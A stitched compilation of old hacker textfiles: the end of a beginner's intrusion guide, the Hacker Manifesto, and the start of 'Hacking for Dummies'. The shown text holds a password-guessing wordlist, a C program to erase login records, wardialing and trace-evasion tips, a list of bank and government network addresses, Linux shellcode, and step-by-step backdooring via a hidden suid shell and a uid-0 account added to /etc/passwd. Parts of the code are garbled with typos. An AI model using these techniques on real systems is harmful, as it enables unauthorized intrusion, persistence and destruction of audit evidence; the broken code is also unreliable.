 *  <period>  = Password aging period (type long).
 *  0, no aging.
 *  else, number of seconds in aging period.
 *  <last_time>        = Time (seconds from epoch) of the last
password
 *  change (type long).
 *  0, never changed.n
 *  <old_time>  =Time (seconds from ephoch) That the current
password
 *  Was made the <old_password>  (type long).
 *  0, never changed.ewromsinm
 *  <old_password> = Password (encrypted) saved for an aging
<period> t
 *  prevent reuse during that period (type char [20]).
 *  "*******", no <old_password>.
 */

/* number o tries to change an aged password */

#deffine   CHANGE_TRIES 3

/* program to execute to change passwords */

#define  PASSWD_PROG "/bin/passwd"

/* Name of the password aging exempt user names and max number of
entir

#define  EXEMPTPW "/etc/exemptpw"
#define MAX_EXEMPT 100


/* Password criteria to enforce */

#define BSD_CRIT 0 /* Normal BSD password criteria */
#define STR_CRIT 1  /* Strong password criteria */
#define MAX_CRIT 1
#endif   elxsi
#define NULL 0
main()
{
struct passwd *p;
int i;
for (;1;)  {;
  p=getpwent();
  if (p==NULL) return;
  printpw(p);
}
}

printpw(a)
struct SHADOWPW *a;
{
```

```
printf("%s:%s:%d:%d:%s:%s:%s\n",
   a->pw_name,a->pw_passwd,a->pw_uid,a->pw_gid,
   a->pw_gecos,a->pw_dir,a->pw_shell);
}

/* SunOS 5.0  /etc/shadow */
/* SunOS4.1+c2     /etc/security/passwd.adjunct */
```

Chapter13: Dial outs

A NUA can sometimes connect you to what is called an outdial. An outdial is a modem that you can get to through the NUA. A good use for this is to use a scanner and dial every # from 0000-9999 on a 3-digit prefix in your area for a list of computers you can hack into. You can also hack them through this outdail. More on scanning later. Another great use for outdials is to dial up long-distance BBS #'s or other telenet #'s or any # of things you can think of! Also it is much harder and more expensive to trace a call if you are using an outdial. It will be traced to the system.

A thing that you should do before you even attempt to dial out a number is the redial command. This is because it will dial out the number that was dialed just before and is an excellent way to find new systems to hack:). Also, on a ventel modem, type "d" and it will list 5 modem numbers in its memory that you can connect to! So I guess right now you're saying, "Well, how do I find one of these outdials?"Well, you will need to find a system called a, "Decserver". What I would recommend is to get a list of NUA's from somebody or a magazine such as phrack#21, or 2600. They should have a list of them in there.

Chapter 14: Scanners

A scanner is a program that will dial every # in a 3-digit prefix from 0000-9999. For example:

My telephone number is 898-3788 (yeah right) so if I thought my school was in the 898 area, I would put in "898" for the 3-digit prefix and set it to dial every number from 0000-9999. Using 898 in the front o each number, I am certain to find the number that my school modem is at and every other modem that will connect me to a system. Just make sure that you either dial *67 if it asks you for a certain code thing so that your calls cannot be traced or just use an outdial.

Note! A good thing to do whenever you hack is to either use a converter or a modem jammer.
This will also prevent your calls from being traced :)

Chapter 15: Brute force hacking

Brute force hacking is a method made for systems that don't keep track of you trying to login such as UNIX. You will notice that on some UNIX boxes that the default will not work. It can be very frustrating! This method approaches the system by typing the default in where it ask you to login and use this whole list of words for passwords. You have to do it over and over again. It will take a long time, but every hacker must be patient. An example of what I am saying is doing something like this:

```
login: sysadmin
password: aaa
login incorrect
login: sysadmin
password: academia                   etc.
```

I am not sure how you would make a program that can make brute force hacking a lot easier, but I am sure that there is a way and if you look around on the web a little bit, I am sure that you would be able to find the C-script. So just search around a little bit.

As you see, it takes a lot of work. You will have to do this for each default, so just be patient. Most of these passwords come from LOD. I put a few in there but not nearly as many as them.

```
                  Brute force hacking
------------------------------------------------------------

aaa
academia
ada
adrian
aerobics
daniel
danny
dave
deb
debbie
jester
johnny
joseph
joshua
judith
rascal
really
rebecca
remote
rick
airplane
albany
albatross
albert
alex
alexander
algebra
alias
alpha
alphabet
ama
amy
analog
anchor
andy
andrea
animal
answer
anything
arrow
arthur
asshole
athena
atmosphere
```

attention
aligator
alpine
altitude
billy
bacchus
badass
bailey
anana
bandit
banks
bass
batman
beauty
beaver
beethoven
beloved
benz
beowulf
berkeley
berlin
beta
beverly
bob
brenda
brian
bridget
broadway
bumbling
bubbles
buger
belt
bitch
basturd
bee
butt
bust
bib
cardinal
carmen
carolina
caroline
castle
cat
celtics
change
charles

charming
charon
chester
celebrate
cattle
cadabra
chilly
chelsey
cucumber
deborah
december
desperate
develop
diet
digital
discovery
disney
dog
drought
duncan
dudu
dust
dimple
dip
doodle
dildo
dic
disaster
damn
dig
dug
easy
eatme
edges
edwin
egghead
eileen
einstein
elephant
elizabeth
ellen
emerald
engine
engineer
enterprise
enzyme
euclid

evelyn
extension
fairway
felicia
fender
fermat
finite
flower
foolproof
football
format
forsythe
fourier
fred
friend
frighten
fun
fagot
fumble
fabulous
fix
fiddle
finger
gabriel
garfield
gauss
george
gertrude
gibson
ginger
gnu
gol
golffer
gorgeous
graham
gryphon
guest
guitar
gilbert
hacker
hug
halarius
hell
heep
hip
hop
hope

humble
hill
head
hello
heck
huddle
ireland
juggle
julia
kathleen
kermit
kernel
knight
kathy
lambda
larry
lazarus
lee
leroy
lewis
light
lisa
louis
lynne
list
limp
mac
macintosh
mack
maggot
magic
malcolm
mark
marck
marc
markus
marty
marvin
master
maurice
merlin
mets
michael
ichelle
mike
minimum
minsky

mogul
moose
mozart
nancy
napoleon
network
newton
next
olivia
oracle
orca
orwell
osiris
outlaw
oxford
paciic
painless
pam
paper
password
pat
patricia
penguin
pete
peter
reagan
robot
robotics
rolex
ronald
rosebud
rosemary
roses
ruben
rules
ruth
sal
saxon
scheme
scott
scotty
secret
sensor
serenity
sex
shark
sharon

shit
shiva
shuttle
simon
simple
singer
single
smile
smiles
smooch
smother
snatch
snoopy
soap
socrates
spit
spring
subway
success
summer
super
support
surfer
suzanne
tangerine
tape
target
taylor
telephone
thomas
temptation
tiger
toggle
tomato
toyota
trivial
theresa
unhappy
unicorn
unknown
cigar
classic
cofee
harmony
harold
harvey
philip

```
phoenix
pierre
urchin
utility
vicky
coke
collins
comrade
computer
condo
condom
cookie
cooper
create
creation
creator
cretin
daemon
dancer
heinlein
hello
help
herbert
honey
horse
imperial
include
ingres
innocuous
irishman
isis
japan
jessica
pizza
plover
polynomial
praise
prelude
prince
protect
pumpkin
puppet
rabbit
rachmaninoff
rainbow
raindrop
random
```

```
virinia
virgin
warren
water
weenie
whatnot
whitney
will
william
willie
winston
wizard
wombat
yosemite
zap
------------------------------------------------------------
```

Well, like I said, I added a couple words in there, maybe 20 or so, but most of these come from LOD. In my next book, I will keep every UNIX password I get and have my own password list.

Chapter 16: C-script for erasing your logins

Well, if you want to really be secure, this is one of the best ways! There might be some ways that you could think of typing in to erase it but it won't work. Only a program can erase your logins. Aren't programs great:) I already told you what a C-script is so just copy this or type it in in your C program and then compile it.

```
------------------------------------------------------------

#include
#include
#include
#include
#include
#include
#include
#include
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
```

```
int f;

void kill_utmp(who)
char *who;
{
    struct utmp utmp_ent;
  if ((f=open(UTMP_NAME,_RDWR))>=0) {
        while(read (f, &utmp_ent,
sizeof (utmp_ent))> 0 )
          if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                          bzero((char *)&utmp_ent,sizeof( utmp_ent
));
                          lseek (f, -(sizeof (utmp_ent)),
SEEK_CUR);
                          write (f, &utmp_ent, sizeof (utmp_ent));

                   }
         close(f);
  }
}

void kill_wtmp(who)
char *who;
{
    struct utmp utmp_ent;
    long pos;

    pos = 1L;
    if ((f=open(WTMP_NAME,O_RDWR))>=0) {

        while(pos != -1L) {
           lseek(f,-(long)( (sizeof(struct utmp)) *pos),L_XTND);
           if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
                pos = -1L;
           } else {
                if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                        bzero((char *)&utmp_ent,sizeof(struct utmp
));
                        lseek(f,-( (sizeof(struct utmp)) *
pos),L_XTND);
                        write (f, utmp_ent, sizeof (utmp_ent));
                        pos = -1L;
                } else pos += 1L;
            }
         }
         close(f);
  }
}

void kill_lastlog(who)
char *who;
{
    struct passwd *pwd;
    struct lastlog newll;

        if ((pwd=getpwnam(who))!=NULL) {

           if ((f=open(LASTLOG_NAME, O_RDWR)) >=0) {
                  lseek(f, (long)pwd->pw_uid * sizeof (struct
lastlog), 0);
                  bzero((char *)&newll,sizeof( newll ));
                  close(f);
           }

     } else printf("%s: ?/n",who);
}

mai(argc,argv)
int argc;
char *argv[];
{
    if (argc--2) {
           kill_lastlog(argv[1]);
           kill_wtmp(argv[1]);
           kill_utmp(argv[1]);
           printf("Zap2!/n");
    } else
    printf("Error./n");
}
------------------------------------------------------------
```

Well, that is an excellent way to keep yourself safe. I would highly recomend it!

Chapter 17: Keeping yourself safe

Well, the things that you will mostly need are up at the front in the list that I gave you of stuff that you will need. What I would recommend is to:

1.) encrypt your hard drive
2.) use a modem jammer before you even get onto telenet

3.) first find yourself an outdial, then dial up another number that you are interested in hacking or dial up into another telenet number and connect onto there and hack some NUA's from there.
4.) Don't brag to anyone! about you hacking any systems.
5.) Never Hack Government systems unless you know what the hell your doing and plan on moving.

If you pretty much do that, I would say that you should be safe.

Chapter 18: NUA's that I have found

Unfortunately Almost all of the NUA's that I have found are government systems. There are a few that seem like they might be pretty cool, but make sure that you know what you are doing!

NUA	TIPS
201 156	A UNIX system! excelent to start out with but the problem is that it is for more experienced UNIX hackers.
90155	?
2241	It will say"DTE". Seems to be a bank up in main.
22417	Government system, leave it alone!
22425	?
2236	Gives you a "<"prompt. tell it anything, when you go to login, it will ask for a transaction ID.
3215	NASA, LEAVE IT ALONE!!!!!!!!
22430	Bank in Athens Greece. Looks very interesting!
201170	asks you to enter a command
201179	asks you for an application

201200	Not sure, wouldn't take a chance
201201	same as 201200
202255	type "help" then choose your terminal type. I wouldn't take any chances though, looks a little tight on security.

Chapter 19: Conclusion

Thanx to:

1.) LOD
2.) The HackerZ Hideout
3.) Every hacker that helped me out
4.) My parents for putting up with me and not getting to mad for taking out effort in school.
5.) And all my friends that let me skip band practice :)

If you wish to contact me at anytime,write to my E-mail address:IceKo0L@aol.com

This book was intended for newbies. I am stuck between being an intelligent hacker and newbie, but as soon as I get some books on some newer systems and learn how they work, I will be putting in all the defaults and helpful commands. It wont have as much newbie material, it will be for more experienced hackers. I hope this file has helped you with all of your hacking needs. When I was a newbie there wasn't to many things to look at, it was all trial and error. It still will be for you, but you have a better idea of what hacking is like. All I recommend for you to do now is to read more books.

+++ICE KOOL+++

HACKERS MANIFESTO

Another one got caught today, it's all over the papers. "Teenager Arrested in Computer Crime Scandal", "Hacker Arrested after Bank Tampering"...Damn kids. They're all alike. But did you, in your three-piece psychology and 1950's technobrain, ever take a look behind the eyes of the hacker? Did you ever wonder what made him tick, what forces shaped him, what may have molded him? I am a hacker, enter my world...Mine is a world that begins with school... I'm smarter than most of the other kids, this crap they teach us bores me...Damn underachiever. They're all alike. I'm in junior high or high school. I've listened to teachers explain for the fifteenth time how to reduce a fraction. I understand it. "No, Ms. Smith, I didn't show my work. I did it in my head..." Damn kid. Probably copied it. They're all alike. I made a discovery today. I found a computer. Wait a second, this is cool. It does what I want it to. If it makes a mistake, it's because I screwed it up. Not because it doesn't like me...or feels threatened by me... or thinks I'm a smart ass...Or doesn't like teaching and shouldn't be here... Damn kid. All he does is play games. They're all alike. And then it happened... a door opened to a world... rushing through the phone line like heroin through an addict's veins, an electronic pulse is sent out, a refuge from the day-to-day incompetencies is sought... a board is found. "This is it...this is where I belong..." I know everyone here...even if I've never meet them, never talked to them, may never hear from them again... I know you all... Damn kid. Tying up the phone line again. They're all alike... You bet your ass we're all alike... we've been spoon-fed baby food at school when we hungered for steak... the bits of meat that you did let slip through were pre-chewed and tasteless. We've been dominated by sadists, or ignored by the apathetic. The few that had something to teach found us willing pupils, but those few are like drops of water in the desert. This is our world now... the world of the electron and the switch, the beauty of the baud. We make use of a service already existing without paying for what could be dirt-cheap if it wasn't run by profiteering gluttons, and you call us criminals. We explore... and you call us criminals. We seek after knowledge... and you call us criminals. We exist without skin color, without nationality, without religious bias... and you call us criminals. You build atomic bombs, you wage wars, you murder, cheat, and lie to us and try to make us believe it's or our own good, yet we're the criminals. Yes, I am a criminal. My crime is that of curiosity. My crime is that of judging people by what they say and think, not what they look like. My crime is that of outsmarting you, something that you will never forgive me for.

I am a hacker, and this is my manifesto. You may stop this individual, but you can't stop us all. After all, we're all alike.

+++The Mentor+++

Hacking for Dummies-I

How to learn to hack in easy steps

Introduction

Hi there, I'm TDC and I'd like to give back all the things i've learnt from the hackers i've met. I want to write this because most tutorials i've found (very good tutorials) are now old and don't fit just like they did before. This is why i'm going to teach you and show you the way to learn to hack.

If you are a hacker, you read this, and find something that's not correct or you don't like, i want to know. mail me.

I'm sure you'll find a lot of bad-grammars. Don't report them cause I'm not english and i don't care at all as long as it's understandable.

On this document I talk about many security tools, you can find all them and also contact me on my site: www.3b0x.com

When you finish reading it, please TELL ME how you like it!

I want to make newer versions of it, check on my site to stay informed.

COPYING: You're welcome to distribute this document to whoever the hell you want, post it on your website, on forums, newsgroups, etc, AS LONG as you DON'T MODIFY it at all. If you want to perform it, ask me for permission. thanks a lot!

DISCLAIMER: This document is intended for ludical or educational purposes. I don't want to promote computer crime and I'm not responible of your actions in any way. If you want to hack a computer, do the decent thing and ask for permission first.

Let's start

If you read carefully all what i'm telling here, you are smart and you work hard on it, you'll be able to hack. i promise. That doesn't really make you a hacker (but you're on the way).
A hacker is someone who is able to discover unknown vulnerabilities in software and able to write the proper codes to exploit them.

NOTE: If you've been unlucky, and before you found this document, you've readen the guides to (mostly) harmless hacking, then forget everything you think you've learnt from them.
You won't understand some things from my tutorial until you unpoison your brain.

Some definitions

I'm going to refer to every kind of computer as a box, and only as a box.
This includes your PC, any server, supercomputers, nuclear silos, HAL9000, Michael Knight's car, The Matrix, etc.

The systems we're going to hack (with permission) are plenty of normal users, whose don't have any remote idea about security, and the root. The root user is called superuser and is used by the admin to administer the system.

I'm going to refer to the users of a system as lusers. Logically, I'll refer to the admin as superluser.

Operating Systems

Ok, I assume you own a x86 box (this means an intel processor or

compatible) running windoze9x,
or perhaps a mac (motorola) box running macOS.

You can't hack with that. In order to hack, you'll need one of those UNIX derived operating
systems.
This is for two main reasons:

-the internet is full of UNIX boxes (windoze NT boxes are really few) and
 so on. to hack one of them, you need a minimun knowledge of a UNIX system, and what's bettrunning webservers er
 than running it at home?

-all the good hacking tools and exploit codes are for UNIX. You won't be able to use them unless
 you're running some kind of it.

Let's see where to find the unix you're interested on.

The UNIX systems may be divided in two main groups:

 - commercial UNIXes
 - free opensource UNIXes

A commercial unix's price is not like windoze's price, and it usually can't run on your box,
so forget it.

The free opensource UNIXes can also be divided in:
 - BSD
  These are older and difficult to use. The most secure OS (openBSD) is in this group.
  You don't want them unless you're planning to install a server on them.

 - Linux
  Easy to use, stable, secure, and optimized for your kind of box. that's what we need.

I strongly suggest you to get the SuSE distribution of Linux.
 It's the best one as i think, and i added here some tips for SuSE, so all should be easier.

Visit www.suse.de and look for a local store or order it online.
 (i know i said it the software was free, but not the CDs nor the manual nor the support.

It is much cheaper than windoze anyway, and you are allowed to copy and distribute it)

If you own an intel box, then order the PC version.

If you own a mac box, then order the PowerPC version.

Whatever you do, DON'T PICK THE COREL DISTRIBUTION, it sucks.

It's possible you have problem with your hardware on the installation. Read the manual, ask
for technical support or buy new hardware, just install it as you can.

This is really important! READ THE MANUAL, or even buy a UNIX book.
Books about TCP/IP and C programming are also useful.

If you don't, you won't understand some things i'll explain later. And, of course, you'll
never become a hacker if you don't read a lot of that 'literature'.

the Internet

Yes! you wanted to hack, didn't you? do you want to hack your own box or what?
You want to hack internet boxes! So lets connect to the internet.

Yes, i know you've gotten this document from the internet, but that was with windoze
and it was much easier. Now you're another person, someone who screams for knowledge and wisdom.
You're a Linux user, and you gotta open your way to the Internet.

You gotta make your Linux box to connect to the net,
so go and set up your modem (using YaST2 in SuSE).

Common problems:

If your box doesn't detect any modems, that probably means that you have no modem installed
:-D (not a joke!).

Most PCI modems are NOT modems, but "winmodems". Winmodems, like all winhardware, are
specifically designed to work ONLY on windoze. Don't blame linux, this happens because the
winmodem has not a critical chip that makes it work. It works on windoze cause the vendor
driver emulates that missing chip. And hat vendor driver is only available for windoze.

ISA and external modems are more probably real modems, but not all of them.
If you want to make sure wether a modem is or not a winmodem, visit http://start.at/modem.

Then use your modem to connect to your ISP and you're on the net. (on SuSE, with wvdial)

NOTE: Those strange and abnormal online services like aol are NOT ISPs. You cannot connect the
internet with aol. You can't hack with aol. i don't like aol. aol sucks.
Don't worry, we humans are not perfect, and it's probably not your fault. If that is your case,
leave aol and get a real ISP. Then you'll be forgiven.

Don't get busted
~~~~~~~~~~~~~~~~

Let's suppose you haven't skipped everything below and your Linux bow is now connected to the net.

It's now turn for the STEALTH. You won't get busted! just follow my advices and you'll be safe.

- Don't hack
  this is the most effective stealth technique. not even the FBI can bust you. :-)
  If you choose this option, stop reading now, cause the rest is worthless and futile.

- If you change a webpage, DON'T SIGN! not even with a fake name. they can trace you, find
  your own website oe email address, find your ISP, your phone number, your home...
~~~~~~~~~~~~~~~~

and you get busted!!

- be PARANOID, don't talk about hacking to anyone unless he is really interested in hacking too.
  NEVER tell others you've hacked a box.

- NEVER hack directly from your box (your_box --> victim's box).
  Always use a third box in the middle (your_box --> lame_box --> victim's box).

  Where lame_box is a previously hacked box or...a shell account box!
  A shell account is a service where you get control of a box WITHOUT hacking it.
  There are a few places where shell accounts are given for free. One of them is nether.net.

- Don't hack dangerous boxes until you're a real hacker.
  - Which boxes are dangerous:
    - Military boxes
    - Government boxes
    - Important and powerful companies' boxes
    - Security companies' boxes
  - Which boxes are NOT dangerous:
    - Educational boxes (any .edu domain)
    - Little companies' boxes
    - Japanese boxes

- Always connect to the internet through a free and anonymous ISP
  (did i tell you that AOL is NOT an ISP?)

- Use phreking techniques callto redirect s and use others' lines for your ISP call.
  Then it'll be really difficult to trace you. This is not a guide to phreaking anyway.

TCP ports and scanning

Do you got your stealth linux box connected to the internet (not aol)?
Have you read the manual as i told you?

Then we shall start with the damn real thing.

First of all, you should know some things about the internet. It's based on the TPC/IP protocol, (and others)

It works like this: every box has 65k connection PORTS. some of them are opened and waiting for your data to be sent.

So you can open a connection and send data to any these ports. Those ports are associated with a service:

Every service is hosted by a DAEMON. Commonly, a daemon or a server is a program that runs on the box, opens its port and offers their damn service.

here are some common ports and their usual services (there are a lot more):

Port number	Common service	Example daemon (d stands for daemon)
21	FTP	FTPd
23	Telnet	telnetd
25	SMTP	sendmail (yes!)
80	HTTP	apache
110	POP3	qpop

Example:
when you visit the website http://www.host.com/luser/index.html, your browser does this:
-it connects to the TCP port 80
-it sends the string: "GET /HTTP/1.1 /luser/index.html" plus two 'intro'
(it really sends a lot of things more, but that is the essential)
-the host sends the html file

The cool thing of daemons is they have really serious security bugs.

That's why we want to know what daemons are running there, so...

We need to know what ports are opened in the box we want to hack.

How could we get that information?

We gotta use a scanner. A scanner is a program that tries to connect to every port on the box and tells which of them are opened.

The best scanner i can think of is nmap, created by Fyodor.
You can get nmap from my site in tarball or rpm format.

Let's install nmap from an .rpm packet.

```
       bash-2.03$ rpm -i nmap-2.53-1.i386.rpm
```

then we run it:

```
       bash-2.03$ nmap -sS target.edu

       Starting nmap V. 2.53 by fyodor@insecure.org (
www.insecure.org/nmap/ )
       Interesting ports on target.edu (xx.xx.xx.xx):
       (The 1518 ports scanned but not shown below are in state:
closed)
       Port       State       Service
       21/tcp     open        ftp
       23/tcp     open        telnet
       25/tcp     open        smtp
       80/tcp     open        http
       110/tcp    open        pop3


       Nmap run completed -- 1 IP address (1 host up) scanned in 34
seconds
```

Nmap has told us which ports are opened on target.edu and thus, what services it's offering.

I know, i said telnet is a service but is also a program (don't let this confuse you).
This program can open a TCP connection to the port you specify.

So lets see what's on that ports.

On your linux console, type:

```
       bash-2.03$ telnet target.edu 21
       Trying xx.xx.xx.xx...
       Connected to target.edu.
       Escape character is '^]'.
       220 target.edu FTP server (SunOS 5.6) ready.
       quit
       221 Goodbye.
       Connection closed by foreign host.
```

You see?
They speak out some valuable information:
-their operating system is SunOS 5.6
-their FTP daemon is the standard provided by the OS.

```
       bash-2.03$ telnet target.edu 25
       Trying xx.xx.xx.xx...
       Connected to target.edu.
       Escape character is '^]'.
       220 target.edu ESMTP Sendmail 8.11.0/8.9.3; Sun, 24 Sep 2000
09:18:14 -0
       400 (EDT)
       quit
       221 2.0.0 target.edu closing connection
       Connection closed by foreign host.
```

They like to tell us everything:
-their SMTP daemon is sendmail
-its version is 8.11.0/8.9.3

Experiment with other ports to discover other daemons.

Why is this information useful to us? cause the security bugs that can let us in depend
on the OS and daemons they are running.

But there is a problem here... such information can be faked!

It's difficult to really know what daemons are they running, but we can know FOR SURE
what's the operating system:

```
       bash-2.03$ nmap -sS target.edu

       Starting nmap V. 2.53 by fyodor@insecure.org (
www.insecure.org/nmap/ )
       Interesting ports on target.edu (xx.xx.xx.xx):
       (The 1518 ports scanned but not shown below are in state:
closed)
       Port       State       Service
       21/tcp     open        ftp
       23/tcp     open        telnet
```

```
25/tcp     open        smtp
80/tcp     open        http
110/tcp    open        pop3

TCP Sequence Prediction: Class=random positive increments
                   Difficulty=937544 (Good luck!)
Remote operating system guess: Linux 2.1.122 - 2.2.14

Nmap run completed -- 1 IP address (1 host up) scanned in 34 seconds
```

Hey wasn't it SunOS 5.6? Damn they're a bunch of lame fakers!

We know the host is running the Linux 2.x kernel. It'd be useful to know also the distribution, but the information we've already gathered should be enough.

This nmap feature is cool, isn't it? So even if they've tried to fool us, we can know what's the OS there and its very difficult to avoid it.

Also take a look to the TCP Sequence Prediction. If you scan a host and nmap tells you their difficulty is low, that means their TCP sequence is predictable and we can make spoofing attacks. This usually happens with windoze (9x or NT) boxes.

Ok, we've scanned the target. If the admins detect we've scanned them, they could get angry.
And we don't want the admins to get angry with us, that's why we used the -sS option.
This way (most) hosts don't detect ANYTHING from the portscan.
Anyway, scanning is LEGAL so you shouldn't have any problems with it. If you want a better usage of nmap's features, read its man page:

```
bash-2.03$ man nmap
```

How to upload and compile programs

The most obvious and simple way is using FTP:

```
bash-2.03$ ls
program.c
```

```
       sh-2.03$ ftp target.edu
       Connected to target.edu.
       220 target.edu FTP server (SunOS 5.6) ready.
       Name: luser
       331 Password required for luser.
       Password:
       230 User luser logged in.
       ftp> put program.c
       200 PORT command successful.
       150 ASCII data connection for program.c
(204.42.253.18,57982).
       226 Transfer complete.
       ftp> quit
       221 Goodbye.
```

But this is not a really good way. It can create logs that will make the admin to detect us.

Avoid uploading it with FTP as you can, use cut&paste instead.

Here's how to make it:

we run a text editor

```
       sh-2.03$ pico exploit.c
```

if it doesn't work, try this one:

```
       sh-2.03$ vi exploit.c
```

Of course, you must learn how to use vi.

Then open another terminal (i mean without x windows, CTRL+ALT+Fx to scape from xwindows to x,
ALT+Fx to change to another terminal, ALT+F7 to return xwindows) on your own box and cut the
text from it. Change to your target and paste the code so you've 'uploaded' the file.

To cut a text from the screen, you need to install the gpm packet from your linux distribution.
This program lets you select and cut text with your mouse.

If cut&paste doesn't work, you can also type it by hand (they aren't usually large).

Once you get the .c file there, here's how to compile:

```
       sh-2.03$ gcc program.c -o program
```

and execute:

```
        sh-2.03$ ./program
```

Exploiting vulnerabilities
~~~~~~~~~~~~~~~~~~~~~~~~~~

This is the most important part of our hacking experience. Once we know what target.edu
is running, we can go to one of those EXPLOIT databases that are on the net.

A exploit is a piece of code that exploits a vulnerability on its software. In the case of
target.edu, we should look for an adequate exploit for sendmail 8.11.0 or any other daemon
that fits. Note that sendmail is the buggiest and the shittiest daemon, thus the most easy
exploitable. If your target gots an old version, you'll probably get in easyly.

When we exploit a security bug, we can get:

- a normal shell (don't know what a shell is? read a book of unix!)

a shell is a command interpreter. for example, the windoze 'shell' is the command.com file.
this one lets us send commands to the box, but we got limited priviledges.
- a root shell
this is our goal, once we're root, we can do EVERYTHING on our 'rooted' box.

These are some exploit databases i suggest you to visit:

www.hack.co.za
www.r00tabega.org
www.rootshell.com
www.securityfocus.com
www.insecure.org/sploits.html

Every exploit is different to use, so read its text and try them. They usually come in .c language.
~~~~~~~~~~~~~~~~~~~~~~~~~~

The most standar and easy to use exploits are buffer overflows.
I won't explain here how a buffer overflow does work,
Read "Smash The Stack For Fun And Profit" by Aleph One to learn it.
You can download it from my site. (www.3b0x.com)

Buffer overflows fool a program (in this case sendmail) to make it execute the code you want.
This code usually executes a shell, so it's called 'shellcode'.
The shellcode to run a shell
is different to every OS, so this is a strong reason to know what OS they're running.

We edit the .c file we've downloaded and look for something like this:

```
char shellcode[] =
       "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
       "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
       "\x80\xe8\xdc\xff\xff\xff/bin/sh";
```

This is a shellcode for Linux. It will execute /bin/sh, that is, a shell.

You gotta replace it by the shellcode for the OS your target is running.
You can find shellcodes for most OSes on my site or create your own by reading
the text i mentioned before (Smash The Stack For Fun And Profit).

IMPORTANT: before continuing with the practice, ask your target for permission to hack them.
if they let you do it, then you shall continue.
if they don't give you permission, STOP HERE and try with another one.
shall you continue without their permission, you'd be inquiring law and
i'm not responible of your craziness in any way!!!

You should have now the shell account, this is the time to use it!

everything i explain on this section, do it through your shell account:

```
       bash-2.03$ telnet myshellaccount 23
```

```
        Trying xx.xx.xx.xx...
        Connected to yourshellaccount.
        Escape character is '^]'.
       Welcome to yourshellaccount
       login: malicioususer
       Password: (it doesn't display)
       Last login: Fry Sep 15 11:45:34 from <yourIPaddress>.
        sh-2.03$
```

Here is a example of a buffer overflow (that doesn't really exist):

we compile it:

```
       sh-2.03$ gcc exploit.c -o exploit
```

we execute it:

```
       sh-2.03$ ./exploit
       This is a sendmail 8.9.11 exploit
       usage: ./exploit target port
```

Sendmail works on port 25, so:

```
       sh-2.03$./exploit 25 target.edu
```

Cool, '$' means we got a shell! Let's find out if we're root.

```
       $whoami
       root
```

Damn, we've rooted target.edu!

```
       $whyamiroot
       because you've hacked me! :-) (just kidding)
```

There are some exploits that don't give you root directly, but a normal shell.
It depends on what luser is running the daemon. (sendmail is usually root)
Then you'll have to upload a .c file with a local (local means it can't overflow a daemon, but a local program) overflow and compile it.

Remember to avoid uploading it with FTP as you can.

Other kind of exploit is the one that gives you access to the password file.
If a host gots port 23 (telnet) opened, we can login as a normal user (remote root logins are usually not allowed) by putting his/hers/its username and password. Then use the su command to become root.

```
       sh-2.03$ telnet target.edu 23
       Trying xx.xx.xx.xx...
       Connected to target.edu.
       Escape character is '^]'.
      We're running SunOS 5.7
      Welcome to target.edu

      login: luser
      Password: (it doesn't display)
      Last login: Fry Sep 22 20:47:59 from xx.xx.xx.xx.
      sh-2.03$ whoami
       luser
```

Are we lusers?

```
       sh-2.03$ su root
       Password:
```

Don't think so...

```
       sh-2.03$ whoami
       root
       sh-2.03$
```

Let's see what happened. We've stolen the password file (/etc/shadow) using an exploit. Then, let's suppose we've extracted the password from luser and root. We can't login as root so we login as luser and run su. su asks us for the root password, we put it and... rooted!!

The problem here is that is not easy to extract a root password from a password file. Only 1/10 admins are idiot enough to choose a crackable password like a dictinonary word or a person's name.

I said some admins are idiot (some of them are smart), but lusers are the more most idiotest thing on a system. You'll find that luser's passwords are mostly easyly cracked, you'll find that lusers set up rlogin doors for you to enter without a password, etc. Not to mention what happens when an admin gives a normal luser administrator priviledges with sudo or something.

To learn how to crack a password file and extract its passwords, download a document called "cracking UNIX passwords" by Zebal. You can get it from my site (www.3b0x.com).

Of course, I haven't listed all the exploit kinds that exist, only the most common.

Putting backdoors

Ok, we've rooted the system. Then what?

Now you're able to change the webpage of that .edu box. Is that what you want to do?
Notice that doing such a thing is LAMER attitude. everyone out there can hack an .edu
box, but they're not ashaming them with such things.

Hacktivism is good and respected. You can change the page of bad people with bad ideologies
like nazis, scienciologists, bsa.org, microsoft, etc. Not a bunch of poor educators.

REMEMBER: ask for permission first!

No, this time you should do another thing. You should keep that system for you to play with
as a toy! (remember: your_box --> lame_box --> victim's box)

Once we type "exit" on our login shell, we're out. And we gotta repeat all the process to get
back in.
And it may not be possible:
- the admin changed his password to something uncrackable.
- they updated sendmail to a newer version so the exploit doesn't work.

So now we're root and we can do everything, we shall put some backdoors that let us get back in.

It may be interesting to read the paper about backdoors I host on my site. (www.3b0x.com)

Anyway, i'll explain the basics of it.

1.How to make a sushi:

To make a sushi or suid shell, we gotta copy /bin/sh to some hidden place and give it suid permissions:

```
       sh-2.03$ cp /bin/sh /dev/nul
```

In the strange case the admin looks at /dev, he wouldn't find something unusual cause
/dev/null does exist (who notices the difference?).

```
       sh-2.03$ cd /dev
       sh-2.03$ chown root nul
```

Should yet be root-owned, but anyway...

```
       sh-2.03$ chmod 4775 nul
```

4775 means suid, note that "chmod +s nul" wouldn't work on some systems but this works everywhere.

We've finished our 'duty', let's logout:

```
       sh-2.03$ exit
```

Then, when we come back some day:

```
       sh-2.03$ whoami
       luser
       sh-2.03$ /dev/nul
       sh-2.03$ whoami
       root
```

We're superluser again!

There's one problem: actually most shells drop suid permissions, so the sushi doesn't work.
we'd upload then the shell we want and make a sushi with it.
The shell we want for this is SASH. A stand-alone shell with built-in commands.
This one doesn't drop suid perms, and the commands are built-in, so external commands
can't drop perms too! Remember to compile it for the architecture of the target box.
Do you know where to get sash from? From my site :-).
(www.3b0x.com)

2.How to add fake lusers.

You gotta manipulate the users file: /etc/passwd
try this:

```
       sh-2.03$ pico /etc/passwd
```

if it doesn't work, try this:

```
       sh-2.03$ vi /etc/passwd
```

Of course, you must learn how to use vi.

This is what a luser line looks like:

```
luser:passwd:uid:gid:startdir:shell
```

When uid=0 and gid=0, that luser gets superluser priviledges.

Then we add a line like this:

```
